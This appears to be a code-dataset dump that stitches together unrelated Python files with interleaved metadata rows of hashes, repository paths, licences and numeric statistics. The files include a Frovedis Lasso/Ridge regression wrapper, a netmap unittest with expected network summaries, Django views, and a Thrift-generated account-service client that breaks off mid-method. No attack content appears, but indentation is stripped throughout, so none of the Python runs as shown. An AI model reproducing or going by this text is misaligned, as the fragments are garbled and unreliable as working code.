cls.__mid = ModelID.get()
if dtype is None:
if cls.__mdtype is None:
raise TypeError("model type should be specified for loading from file!")
else: cls.__mdtype = TypeUtil.to_id_dtype(dtype)
GLM.load(cls.__mid,cls.__mkind,cls.__mdtype,fname)
return cls
def save(cls,fname):
if cls.__mid is not None: GLM.save(cls.__mid,cls.__mkind,cls.__mdtype,fname)
def debug_print(cls):
if cls.__mid is not None: GLM.debug_print(cls.__mid,cls.__mkind,cls.__mdtype)
def release(cls):
if cls.__mid is not None:
GLM.release(cls.__mid,cls.__mkind,cls.__mdtype)
cls.__mid = None
def __del__(cls):
if FrovedisServer.isUP(): cls.release()
class Lasso:
"A python wrapper of Frovedis Lasso Regression"
# defaults are as per Frovedis
# alpha: Frovedis: 0.01, Sklearn: 1.0
def __init__(cls, alpha=0.01, fit_intercept=True, normalize=False,
precompute=False, copy_X=True, max_iter=1000,
tol=1e-4, warm_start=False, positive=False,
random_state=None, selection='cyclic',
verbose=0, solver='sag'):
cls.alpha = alpha
cls.fit_intercept = fit_intercept
cls.normalize = normalize
cls.precompute = precompute
cls.copy_X = copy_X
cls.max_iter = max_iter
cls.tol = tol
cls.warm_start = warm_start
cls.positive = positive
cls.random_state = random_state
cls.selection = selection
# extra
cls.verbose = verbose
cls.solver = solver
cls.__mid = None
cls.__mdtype = None
cls.__mkind = M_KIND.LNRM
def fit(cls, X, y, sample_weight=None):
cls.release()
cls.__mid = ModelID.get()
inp_data = FrovedisLabeledPoint(X,y)
(X, y) = inp_data.get()
dtype = inp_data.get_dtype()
itype = inp_data.get_itype()
dense = inp_data.is_dense()
cls.__mdtype = dtype
(host,port) = FrovedisServer.getServerInstance()
if cls.solver == 'sag':
rpclib.lasso_sgd(host,port,X.get(),y.get(),cls.max_iter,cls.alpha,
cls.fit_intercept,cls.tol,cls.verbose,cls.__mid,
dtype,itype,dense)
elif cls.solver == 'lbfgs':
rpclib.lasso_lbfgs(host,port,X.get(),y.get(),cls.max_iter,cls.alpha,
cls.fit_intercept,cls.tol,cls.verbose,cls.__mid,
dtype,itype,dense)
else: raise ValueError("Unknown solver %s for Lasso Regression." % cls.solver)
excpt = rpclib.check_server_exception()
if excpt["status"]: raise RuntimeError(excpt["info"])
return cls
def predict(cls,X):
if cls.__mid is not None:
return GLM.predict(X,cls.__mid,cls.__mkind,cls.__mdtype,False)
else:
raise ValueError("predict is called before calling fit, or the model is released.")
def load(cls,fname,dtype=None):
cls.release()
cls.__mid = ModelID.get()
if dtype is None:
if cls.__mdtype is None:
raise TypeError("model type should be specified for loading from file!")
else: cls.__mdtype = TypeUtil.to_id_dtype(dtype)
GLM.load(cls.__mid,cls.__mkind,cls.__mdtype,fname)
return cls
def save(cls,fname):
if cls.__mid is not None: GLM.save(cls.__mid,cls.__mkind,cls.__mdtype,fname)
def debug_print(cls):
if cls.__mid is not None: GLM.debug_print(cls.__mid,cls.__mkind,cls.__mdtype)
def release(cls):
if cls.__mid is not None:
GLM.release(cls.__mid,cls.__mkind,cls.__mdtype)
cls.__mid = None
def __del__(cls):
if FrovedisServer.isUP(): cls.release()
class Ridge:
"A python wrapper of Frovedis Ridge Regression"
# defaults are as per Frovedis
# alpha: Frovedis: 0.01, Sklearn: 1.0
def __init__(cls, alpha=0.01, fit_intercept=True, normalize=False,
copy_X=True, max_iter=1000, tol=1e-3, solver='sag',
random_state=None, verbose=0):
cls.alpha = alpha
cls.fit_intercept = fit_intercept
cls.normalize = normalize
cls.copy_X = copy_X
cls.max_iter = max_iter
cls.tol = tol
cls.solver = solver
cls.random_state = random_state
# extra
cls.verbose = verbose
cls.__mid = None
cls.__mdtype = None
cls.__mkind = M_KIND.LNRM
def fit(cls, X, y, sample_weight=None):
cls.release()
cls.__mid = ModelID.get()
inp_data = FrovedisLabeledPoint(X,y)
(X, y) = inp_data.get()
dtype = inp_data.get_dtype()
itype = inp_data.get_itype()
dense = inp_data.is_dense()
cls.__mdtype = dtype
sv = ['svd', 'cholesky', 'lsqr', 'sparse_cg']
if cls.solver in sv:
raise ValueError("Frovedis doesn't support solver %s for Ridge Regression currently." % cls.solver)
(host,port) = FrovedisServer.getServerInstance()
if cls.solver == 'sag' or cls.solver == 'auto':
rpclib.ridge_sgd(host,port,X.get(),y.get(),cls.max_iter,cls.alpha,
cls.fit_intercept,cls.tol,cls.verbose,cls.__mid,
dtype,itype,dense)
elif cls.solver == 'lbfgs':
rpclib.ridge_lbfgs(host,port,X.get(),y.get(),cls.max_iter,cls.alpha,
cls.fit_intercept,cls.tol,cls.verbose,cls.__mid,
dtype,itype,dense)
else:
raise ValueError("Unknown solver %s for Ridge Regression." % cls.solver)
excpt = rpclib.check_server_exception()
if excpt["status"]: raise RuntimeError(excpt["info"])
return cls
def predict(cls,X):
if cls.__mid is not None:
return GLM.predict(X,cls.__mid,cls.__mkind,cls.__mdtype,False)
else:
raise ValueError("predict is called before calling fit, or the model is released.")
def load(cls,fname,dtype=None):
cls.release()
cls.__mid = ModelID.get()
if dtype is None:
if cls.__mdtype is None:
raise TypeError("model type should be specified for loading from file!")
else: cls.__mdtype = TypeUtil.to_id_dtype(dtype)
GLM.load(cls.__mid,cls.__mkind,cls.__mdtype,fname)
return cls
def save(cls,fname):
if cls.__mid is not None: GLM.save(cls.__mid,cls.__mkind,cls.__mdtype,fname)
def debug_print(cls):
if cls.__mid is not None: GLM.debug_print(cls.__mid,cls.__mkind,cls.__mdtype)
def release(cls):
if cls.__mid is not None:
GLM.release(cls.__mid,cls.__mkind,cls.__mdtype)
cls.__mid = None
def __del__(cls):
if FrovedisServer.isUP(): cls.release()
| 35.479885
| 111
| 0.637078
| 1,712
| 12,347
| 4.340537
| 0.097547
| 0.050061
| 0.025434
| 0.039564
| 0.827345
| 0.795586
| 0.76625
| 0.758041
| 0.744584
| 0.737182
| 0
| 0.00668
| 0.248319
| 12,347
| 347
| 112
| 35.582133
| 0.793988
| 0.041954
| 0
| 0.779359
| 0
| 0
| 0.108306
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.117438
| false
| 0.003559
| 0.017794
| 0
| 0.19573
| 0.02847
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b700f2807b8b541693ed5eabef57e8ab3454e92b
| 86
|
py
|
Python
|
test/commonASTtests/py-test-files/callArgs.py
|
Submitty/AnalysisTools
|
7cf3c6cba8eedf1f56110f316c2b9ab016546b1b
|
[
"BSD-3-Clause"
] | 6
|
2017-07-17T13:56:20.000Z
|
2020-12-07T17:43:33.000Z
|
test/commonASTtests/py-test-files/callArgs.py
|
Submitty/AnalysisTools
|
7cf3c6cba8eedf1f56110f316c2b9ab016546b1b
|
[
"BSD-3-Clause"
] | 13
|
2016-06-23T22:03:20.000Z
|
2018-04-01T04:28:42.000Z
|
test/commonASTtests/py-test-files/callArgs.py
|
Submitty/AnalysisTools
|
7cf3c6cba8eedf1f56110f316c2b9ab016546b1b
|
[
"BSD-3-Clause"
] | 5
|
2016-12-03T17:01:17.000Z
|
2018-07-29T19:55:45.000Z
|
def addOne(a):
return a+1
def subOne(a):
return a-1
a = 0
b = subOne(addOne(a))
| 7.818182
| 21
| 0.604651
| 18
| 86
| 2.888889
| 0.444444
| 0.269231
| 0.307692
| 0.346154
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.045455
| 0.232558
| 86
| 10
| 22
| 8.6
| 0.742424
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0.333333
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
b727200a18d5a1cf36c6a00b493cabc7a5805bcd
| 9,450
|
py
|
Python
|
tests/test_netmap_lib.py
|
looran/netmap
|
5831d25bac1d18eabaa73bd23b2cd63c00a50f7a
|
[
"0BSD"
] | null | null | null |
tests/test_netmap_lib.py
|
looran/netmap
|
5831d25bac1d18eabaa73bd23b2cd63c00a50f7a
|
[
"0BSD"
] | null | null | null |
tests/test_netmap_lib.py
|
looran/netmap
|
5831d25bac1d18eabaa73bd23b2cd63c00a50f7a
|
[
"0BSD"
] | null | null | null |
#!/usr/bin/env python3
# run only one test:
# python -m unittest test_netfoot.Netfoot_log_unittest.test_infos_lookup
import sys
import unittest
from pathlib import Path
sys.path.append(str(Path(__file__).resolve().parent.parent / 'lib'))
import netmap
INPUT_DATA_DIRECTORY = Path(__file__).resolve().parent.parent / 'demo_data'
EXPECTED_RESULTS = {
'network1': {
'summary': """== Network 'network1' summary ==
Nodes:
Node cha
lo 00:00:00:00:00:00
tcp/22 sshd
127.0.0.1
::1
vboxnet0 22:22:22:22:22:22
192.168.56.1
fe80::800:27ff:fe00:0
enp0s31f6 55:55:55:55:55:55
192.168.0.3
192.168.0.3:47670 61.200.0.167:443/tcp firefox
192.168.0.3:57400 41.58.204.138:443/tcp
Node
None None
61.200.0.167
192.168.0.3:47670 61.200.0.167:443/tcp firefox
Node
None None
41.58.204.138
192.168.0.3:57400 41.58.204.138:443/tcp
Streams:
192.168.0.3:47670 61.200.0.167:443/tcp firefox
192.168.0.3:57400 41.58.204.138:443/tcp
""",
'map': ([
{'category': 'node', 'isGroup': 'true', 'key': 'cha', 'text': 'cha', 'found_in': 'host_192.168.0.3_cmd_cat_etc_hosts.txt\n' 'host_192.168.0.3_cmd_ip-address-show.txt\n' 'host_192.168.0.3_cmd_ss-anp.txt', },
{'category': 'node_ip', 'group': 'cha', 'key': 'cha_lo_127.0.0.1', 'text': '127.0.0.1', 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',},
{'category': 'node_ip', 'group': 'cha', 'key': 'cha_lo_::1', 'text': '::1', 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',},
{'category': 'node_ip', 'group': 'cha', 'key': 'cha_vboxnet0_192.168.56.1', 'text': '192.168.56.1', 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',},
{'category': 'node_ip', 'group': 'cha', 'key': 'cha_vboxnet0_fe80::800:27ff:fe00:0', 'text': 'fe80::800:27ff:fe00:0', 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',},
{'category': 'node_ip', 'group': 'cha', 'key': 'cha_enp0s31f6_192.168.0.3', 'text': '192.168.0.3', 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',},
{'category': 'node_ip', 'key': '_None_61.200.0.167', 'text': '61.200.0.167', 'found_in': '',},
{'category': 'node_ip', 'key': '_None_41.58.204.138', 'text': '41.58.204.138', 'found_in': '',},
], [
{'category': 'stream', 'color': 'rgba(200, 200, 200, 0.52)', 'font': '8pt sans-serif', 'found_in': 'host_192.168.0.3_cmd_ss-anp.txt', 'from': 'cha_enp0s31f6_192.168.0.3', 'text': '47670:443/tcp firefox', 'to': '_None_61.200.0.167', 'traffic_percent': 1},
{'category': 'stream', 'color': 'rgba(200, 200, 200, 0.52)', 'font': '8pt sans-serif', 'found_in': 'host_192.168.0.3_cmd_ss-anp.txt', 'from': 'cha_enp0s31f6_192.168.0.3', 'text': '57400:443/tcp ', 'to': '_None_41.58.204.138', 'traffic_percent': 1}
]),
'statistics': {
'data_gathering_logs': '',
'nodes_count': 3,
'processed_input_file': 3,
'stream_bytes_count_max': 0,
'stream_bytes_count_total': 0,
'stream_packets_count_max': 0,
'stream_packets_count_total': 0,
'streams_count': 2}
},
'k8s_example': {
'summary': """== Network 'k8s_example' summary ==
Nodes:
Node login login-pod-1
lo 00:00:00:00:00:00
127.0.0.1
::1
vboxnet0 22:22:22:22:22:22
192.168.56.1
fe80::800:27ff:fe00:0
enp0s31f6 55:55:55:55:55:55
192.168.0.3
eth0 55:55:55:55:55:55
10.0.0.1
login None
TCP/8080 http-login-page
172.16.0.1
Node login login-pod-2
None None
10.0.0.2
login None
TCP/8080 http-login-page
172.16.0.1
Node backend backend-pod-1 dummy
None None
10.0.0.21
backend None
TCP/3306 mysql
TCP/5000 debug
TCP/22
172.16.0.2
Node backend backend-pod-2
None None
10.0.0.22
backend None
TCP/3306 mysql
TCP/5000 debug
TCP/22
172.16.0.2
Node backend
None None
10.0.0.23
backend None
TCP/3306 mysql
TCP/5000 debug
TCP/22
172.16.0.2
Streams:
""",
'map': ([
{"category": "node", "key": "login_login-pod-1", "isGroup": "true", "text": "login\nlogin-pod-1", 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt\n' 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt'},
{"category": "node_ip", "key": "login_login-pod-1_lo_127.0.0.1", "text": "127.0.0.1", "group": "login_login-pod-1", 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt', },
{"category": "node_ip", "key": "login_login-pod-1_lo_::1", "text": "::1", "group": "login_login-pod-1", 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',},
{"category": "node_ip", "key": "login_login-pod-1_vboxnet0_192.168.56.1", "text": "192.168.56.1", "group": "login_login-pod-1", 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',},
{"category": "node_ip", "key": "login_login-pod-1_vboxnet0_fe80::800:27ff:fe00:0", "text": "fe80::800:27ff:fe00:0", "group": "login_login-pod-1", 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',},
{"category": "node_ip", "key": "login_login-pod-1_enp0s31f6_192.168.0.3", "text": "192.168.0.3", "group": "login_login-pod-1", 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',},
{"category": "node_ip", "key": "login_login-pod-1_eth0_10.0.0.1", "text": "10.0.0.1", "group": "login_login-pod-1", 'found_in': 'host_192.168.0.3_cmd_ip-address-show.txt',},
{"category": "node_ip", "key": "login_login-pod-1_login_172.16.0.1", "text": "172.16.0.1", "group": "login_login-pod-1", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt',},
{"category": "node", "key": "login_login-pod-2", "isGroup": "true", "text": "login\nlogin-pod-2", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt',},
{"category": "node_ip", "key": "login_login-pod-2_None_10.0.0.2", "text": "10.0.0.2", "group": "login_login-pod-2", 'found_in': '',},
{"category": "node_ip", "key": "login_login-pod-2_login_172.16.0.1", "text": "172.16.0.1", "group": "login_login-pod-2", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt',
},
{"category": "node", "key": "backend_backend-pod-1_dummy", "isGroup": "true", "text": "backend\nbackend-pod-1\ndummy", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt',
},
{"category": "node_ip", "key": "backend_backend-pod-1_dummy_None_10.0.0.21", "text": "10.0.0.21", "group": "backend_backend-pod-1_dummy", 'found_in': '',},
{"category": "node_ip", "key": "backend_backend-pod-1_dummy_backend_172.16.0.2", "text": "172.16.0.2", "group": "backend_backend-pod-1_dummy", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt',},
{"category": "node", "key": "backend_backend-pod-2", "isGroup": "true", "text": "backend\nbackend-pod-2", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt',},
{"category": "node_ip", "key": "backend_backend-pod-2_None_10.0.0.22", "text": "10.0.0.22", "group": "backend_backend-pod-2", 'found_in': '',},
{"category": "node_ip", "key": "backend_backend-pod-2_backend_172.16.0.2", "text": "172.16.0.2", "group": "backend_backend-pod-2", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt',},
{"category": "node", "key": "backend", "isGroup": "true", "text": "backend", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt',},
{"category": "node_ip", "key": "backend_None_10.0.0.23", "text": "10.0.0.23", "group": "backend", 'found_in': '',},
{"category": "node_ip", "key": "backend_backend_172.16.0.2", "text": "172.16.0.2", "group": "backend", 'found_in': 'host_192.168.0.3_cmd_netmap_k8s_services_list.txt',},
],
[]),
'statistics': {
'data_gathering_logs': '',
'nodes_count': 5,
'processed_input_file': 2,
'stream_bytes_count_max': 0,
'stream_bytes_count_total': 0,
'stream_packets_count_max': 0,
'stream_packets_count_total': 0,
'streams_count': 0}
}
}
class Netmap_lib_unittest(unittest.TestCase):
def test_network1(self):
self.maxDiff = None
networkdir_name = "network1"
network_dir = INPUT_DATA_DIRECTORY / networkdir_name
nm = netmap.Netmap(network_dir)
nm.process()
nm.stats.pop('last_modification') # ignore modification date that could change
self.assertEqual(EXPECTED_RESULTS[networkdir_name]["summary"], nm.summary())
self.assertEqual(EXPECTED_RESULTS[networkdir_name]["map"], nm.map())
self.assertEqual(EXPECTED_RESULTS[networkdir_name]["statistics"], nm.stats)
def test_k8sexample(self):
self.maxDiff = None
networkdir_name = "k8s_example"
network_dir = INPUT_DATA_DIRECTORY / networkdir_name
nm = netmap.Netmap(network_dir)
nm.process()
nm.stats.pop('last_modification') # ignore modification date that could change
self.assertEqual(EXPECTED_RESULTS[networkdir_name]["summary"], nm.summary())
self.assertEqual(EXPECTED_RESULTS[networkdir_name]["map"], nm.map())
self.assertEqual(EXPECTED_RESULTS[networkdir_name]["statistics"], nm.stats)
if __name__ == "__main__":
unittest.main()
| 53.089888
| 266
| 0.616614
| 1,484
| 9,450
| 3.692049
| 0.108491
| 0.051469
| 0.052382
| 0.059865
| 0.862749
| 0.823508
| 0.75324
| 0.736083
| 0.710531
| 0.686439
| 0
| 0.145744
| 0.183175
| 9,450
| 177
| 267
| 53.389831
| 0.564063
| 0.020847
| 0
| 0.527273
| 0
| 0.018182
| 0.630623
| 0.252703
| 0
| 0
| 0
| 0
| 0.036364
| 1
| 0.012121
| false
| 0
| 0.024242
| 0
| 0.042424
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
3f7dc93fb771f8e65042ec22ad45c24e51860db4
| 143
|
py
|
Python
|
ptest/cases/base/__init__.py
|
Pathfinder-for-Pitch-Momentum-Bias/FlightSoftware
|
7256f52f7c5887af7fc8679b163629d1235fa1bb
|
[
"MIT"
] | 6
|
2020-02-24T07:46:22.000Z
|
2021-09-26T22:57:05.000Z
|
ptest/cases/base/__init__.py
|
pathfinder-for-autonomous-navigation/FlightSoftware
|
a3c30b10e2a28d17a2de0180c996bcc5f9ada7c7
|
[
"MIT"
] | 537
|
2019-05-29T04:31:30.000Z
|
2022-03-06T17:18:56.000Z
|
ptest/cases/base/__init__.py
|
Pathfinder-for-Pitch-Momentum-Bias/FlightSoftware
|
7256f52f7c5887af7fc8679b163629d1235fa1bb
|
[
"MIT"
] | 5
|
2020-04-01T17:29:37.000Z
|
2022-02-25T22:26:14.000Z
|
from .single_sat_case import SingleSatCase
from .dual_sat_case import DualSatCase
from .psim_case import PSimCase
from .amc_case import AMCCase
| 35.75
| 42
| 0.867133
| 22
| 143
| 5.363636
| 0.545455
| 0.338983
| 0.220339
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.104895
| 143
| 4
| 43
| 35.75
| 0.921875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
3f8a269951d9a04419e102944db4d86c157b6107
| 81
|
py
|
Python
|
pftree/__init__.py
|
FNNDSC/pftree
|
112b2e819b71baf603f4ce10dbb98df903276ab0
|
[
"MIT"
] | null | null | null |
pftree/__init__.py
|
FNNDSC/pftree
|
112b2e819b71baf603f4ce10dbb98df903276ab0
|
[
"MIT"
] | 2
|
2018-07-24T14:39:01.000Z
|
2018-07-24T14:39:25.000Z
|
pftree/__init__.py
|
FNNDSC/pftree
|
112b2e819b71baf603f4ce10dbb98df903276ab0
|
[
"MIT"
] | 1
|
2018-07-27T14:35:54.000Z
|
2018-07-27T14:35:54.000Z
|
try:
from .pftree import pftree
except:
from pftree import pftree
| 16.2
| 33
| 0.654321
| 10
| 81
| 5.3
| 0.5
| 0.377358
| 0.603774
| 0.830189
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.308642
| 81
| 4
| 34
| 20.25
| 0.946429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
b75601f066dc8a61385a47363c96e2adaf9724ee
| 166
|
py
|
Python
|
djexperience/core/views.py
|
rg3915/django-experience-2016
|
76adaa55c537f3b9fa48b601d4a97fd6e04371c0
|
[
"MIT"
] | 1
|
2022-01-01T22:19:49.000Z
|
2022-01-01T22:19:49.000Z
|
djexperience/core/views.py
|
rg3915/django-experience-2016
|
76adaa55c537f3b9fa48b601d4a97fd6e04371c0
|
[
"MIT"
] | null | null | null |
djexperience/core/views.py
|
rg3915/django-experience-2016
|
76adaa55c537f3b9fa48b601d4a97fd6e04371c0
|
[
"MIT"
] | null | null | null |
from django.shortcuts import render
def home(request):
return render(request, 'index.html')
def about(request):
return render(request, 'core/about.html')
| 16.6
| 45
| 0.722892
| 22
| 166
| 5.454545
| 0.590909
| 0.216667
| 0.316667
| 0.433333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.156627
| 166
| 9
| 46
| 18.444444
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0.150602
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0.2
| 0.4
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 8
|
b7680d707c06e3991732c194560589aff3d73478
| 21,595
|
py
|
Python
|
src/examples/python/gen_py/datahub/account/AccountService.py
|
RogerTangos/datahub-stub
|
8c3e89c792e45ccc9ad067fcf085ddd52f7ecd89
|
[
"MIT"
] | 192
|
2015-07-29T15:20:35.000Z
|
2021-09-06T21:42:01.000Z
|
src/examples/python/gen_py/datahub/account/AccountService.py
|
RogerTangos/datahub-stub
|
8c3e89c792e45ccc9ad067fcf085ddd52f7ecd89
|
[
"MIT"
] | 120
|
2015-10-27T21:43:11.000Z
|
2021-08-12T15:15:43.000Z
|
src/examples/python/gen_py/datahub/account/AccountService.py
|
RogerTangos/datahub-stub
|
8c3e89c792e45ccc9ad067fcf085ddd52f7ecd89
|
[
"MIT"
] | 56
|
2015-09-19T05:58:41.000Z
|
2021-09-14T09:46:11.000Z
|
#
# Autogenerated by Thrift Compiler (0.9.2)
#
# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
#
# options string: py
#
from thrift.Thrift import TType, TMessageType, TException, TApplicationException
from ttypes import *
from thrift.Thrift import TProcessor
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol, TProtocol
try:
from thrift.protocol import fastbinary
except:
fastbinary = None
class Iface:
def get_version(self):
pass
def create_account(self, username, email, password, repo_name, app_id, app_token):
"""
Parameters:
- username
- email
- password
- repo_name
- app_id
- app_token
"""
pass
def remove_account(self, username, app_id, app_token):
"""
Parameters:
- username
- app_id
- app_token
"""
pass
class Client(Iface):
def __init__(self, iprot, oprot=None):
self._iprot = self._oprot = iprot
if oprot is not None:
self._oprot = oprot
self._seqid = 0
def get_version(self):
self.send_get_version()
return self.recv_get_version()
def send_get_version(self):
self._oprot.writeMessageBegin('get_version', TMessageType.CALL, self._seqid)
args = get_version_args()
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_get_version(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = get_version_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
raise TApplicationException(TApplicationException.MISSING_RESULT, "get_version failed: unknown result");
def create_account(self, username, email, password, repo_name, app_id, app_token):
"""
Parameters:
- username
- email
- password
- repo_name
- app_id
- app_token
"""
self.send_create_account(username, email, password, repo_name, app_id, app_token)
return self.recv_create_account()
def send_create_account(self, username, email, password, repo_name, app_id, app_token):
self._oprot.writeMessageBegin('create_account', TMessageType.CALL, self._seqid)
args = create_account_args()
args.username = username
args.email = email
args.password = password
args.repo_name = repo_name
args.app_id = app_id
args.app_token = app_token
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_create_account(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = create_account_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
if result.ex is not None:
raise result.ex
raise TApplicationException(TApplicationException.MISSING_RESULT, "create_account failed: unknown result");
def remove_account(self, username, app_id, app_token):
"""
Parameters:
- username
- app_id
- app_token
"""
self.send_remove_account(username, app_id, app_token)
return self.recv_remove_account()
def send_remove_account(self, username, app_id, app_token):
self._oprot.writeMessageBegin('remove_account', TMessageType.CALL, self._seqid)
args = remove_account_args()
args.username = username
args.app_id = app_id
args.app_token = app_token
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_remove_account(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = remove_account_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
if result.ex is not None:
raise result.ex
raise TApplicationException(TApplicationException.MISSING_RESULT, "remove_account failed: unknown result");
class Processor(Iface, TProcessor):
def __init__(self, handler):
self._handler = handler
self._processMap = {}
self._processMap["get_version"] = Processor.process_get_version
self._processMap["create_account"] = Processor.process_create_account
self._processMap["remove_account"] = Processor.process_remove_account
def process(self, iprot, oprot):
(name, type, seqid) = iprot.readMessageBegin()
if name not in self._processMap:
iprot.skip(TType.STRUCT)
iprot.readMessageEnd()
x = TApplicationException(TApplicationException.UNKNOWN_METHOD, 'Unknown function %s' % (name))
oprot.writeMessageBegin(name, TMessageType.EXCEPTION, seqid)
x.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
return
else:
self._processMap[name](self, seqid, iprot, oprot)
return True
def process_get_version(self, seqid, iprot, oprot):
args = get_version_args()
args.read(iprot)
iprot.readMessageEnd()
result = get_version_result()
result.success = self._handler.get_version()
oprot.writeMessageBegin("get_version", TMessageType.REPLY, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
def process_create_account(self, seqid, iprot, oprot):
args = create_account_args()
args.read(iprot)
iprot.readMessageEnd()
result = create_account_result()
try:
result.success = self._handler.create_account(args.username, args.email, args.password, args.repo_name, args.app_id, args.app_token)
except AccountException, ex:
result.ex = ex
oprot.writeMessageBegin("create_account", TMessageType.REPLY, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
def process_remove_account(self, seqid, iprot, oprot):
args = remove_account_args()
args.read(iprot)
iprot.readMessageEnd()
result = remove_account_result()
try:
result.success = self._handler.remove_account(args.username, args.app_id, args.app_token)
except AccountException, ex:
result.ex = ex
oprot.writeMessageBegin("remove_account", TMessageType.REPLY, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
# HELPER FUNCTIONS AND STRUCTURES
class get_version_args:
thrift_spec = (
)
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('get_version_args')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __hash__(self):
value = 17
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
